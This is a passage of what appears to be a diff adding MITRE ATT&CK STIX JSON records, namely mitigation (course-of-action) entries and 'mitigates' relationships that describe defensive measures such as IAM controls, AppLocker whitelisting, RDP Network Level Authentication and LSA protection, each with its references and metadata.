"2019-10-23T14:22:12.122Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "Ensure users and user groups have appropriate permissions for their roles through Identity and Access Management (IAM) controls. Configure user permissions, groups, and roles for access to cloud-based systems as well. Implement strict IAM controls to prevent access to systems except for the applications, users, and services that require access. Consider using temporary credentials that are only good for a certain period of time in cloud environments to reduce the effectiveness of compromised accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-22T20:07:29.385Z", + "id": "relationship--aa6cd875-0e05-4a6c-a249-27c708d50bf4", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-10-23T14:22:12.137Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "description": "Consider rotating access keys within a certain number of days to reduce the effectiveness of stolen credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-23T14:26:33.079Z", + "id": "relationship--25b225e4-2365-4c00-8a27-f578a7fd94c8", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-10-23T14:26:33.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "course-of-action", + "name": ".bash_profile and .bashrc Mitigation", + "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", + "external_references": [ + { + "external_id": "T1156", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1156" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0", + "modified": "2019-07-24T14:02:53.251Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Access Token Manipulation Mitigation", + "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.", + "external_references": [ + { + "external_id": "T1134", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1134" + }, + { + "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", + "source_name": "Microsoft Create Token", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object" + }, + { + "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", + "source_name": "Microsoft Replace Process Token", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6", + "modified": "2019-07-24T14:29:27.367Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Accessibility Features Mitigation", + "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1015", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1015" + }, + { + "source_name": "TechNet RDP NLA", + "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx" + }, + { + "source_name": "TechNet RDP Gateway", + "description": "Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8", + "modified": "2019-07-24T14:03:37.885Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Account Discovery Mitigation", + "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1087", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1087" + }, + { + "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.", + "source_name": "UCF STIG Elevation Account Enumeration", + "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077" + }, + { + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "source_name": "NSA MS AppLocker", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97", + "modified": "2019-07-24T14:30:29.221Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Account Manipulation Mitigation", + "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "external_references": [ + { + "external_id": "T1098", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1098" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425", + "modified": "2019-07-24T14:04:18.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Account Use Policies", + "description": "Configure features related to account use like login attempt lockouts, specific login times, etc.", + "external_references": [ + { + "external_id": "M1036", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1036" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:32:21.854Z", + "id": "course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c", + "modified": "2019-06-13T16:07:21.233Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Active Directory Configuration", + "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", + "external_references": [ + { + "external_id": "M1015", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1015" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T16:39:58.291Z", + "id": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "modified": "2019-06-13T16:10:26.227Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Antivirus/Antimalware", + "description": "Use signatures or heuristics to detect malicious software.", + "external_references": [ + { + "external_id": "M1049", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1049" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T17:08:33.055Z", + "id": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "modified": "2019-06-11T17:08:33.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "AppCert DLLs Mitigation", + "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "external_references": [ + { + "external_id": "T1182", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1182" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6", + "modified": "2019-07-24T14:31:05.778Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "AppInit DLLs Mitigation", + "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "external_references": [ + { + "external_id": "T1103", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1103" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e", + "modified": "2019-07-24T14:31:34.260Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "AppleScript Mitigation", + "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.", + "external_references": [ + { + "external_id": "T1155", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1155" + }, + { + "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.", + "source_name": "applescript signing", + "url": "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301", + "modified": "2019-07-24T14:31:55.409Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Application Deployment Software Mitigation", + "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "external_references": [ + { + "external_id": "T1017", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1017" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4", + "modified": "2019-07-24T14:05:33.227Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "x_mitre_old_attack_id": "MOB-M1013", + "name": "Application Developer Guidance", + "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.", + "external_references": [ + { + "external_id": "M1013", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1013" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25T14:48:53.732Z", + "id": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Application Isolation and Sandboxing", + "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", + "external_references": [ + { + "external_id": "M1048", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1048" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T17:06:56.230Z", + "id": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-06-11T17:06:56.230Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Application Shimming Mitigation", + "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "external_references": [ + { + "external_id": "T1138", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1138" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f", + "modified": "2019-07-24T14:32:52.325Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Application Window Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1010", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1010" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b", + "modified": "2019-07-24T14:33:18.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Audio Capture Mitigation", + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1123", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1123" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d", + "modified": "2019-07-24T14:33:42.430Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Audit", + "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", + "external_references": [ + { + "external_id": "M1047", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1047" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T17:06:14.029Z", + "id": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-06-11T17:06:14.029Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Authentication Package Mitigation", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "external_references": [ + { + "external_id": "T1131", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1131" + }, + { + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "source_name": "Graeber 2014", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "source_name": "Microsoft Configure LSA", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5", + "modified": "2019-07-24T14:34:11.298Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Automated Collection Mitigation", + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1119", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1119" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152", + "modified": "2019-07-24T14:34:51.388Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Automated Exfiltration Mitigation", + "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1020", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1020" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application 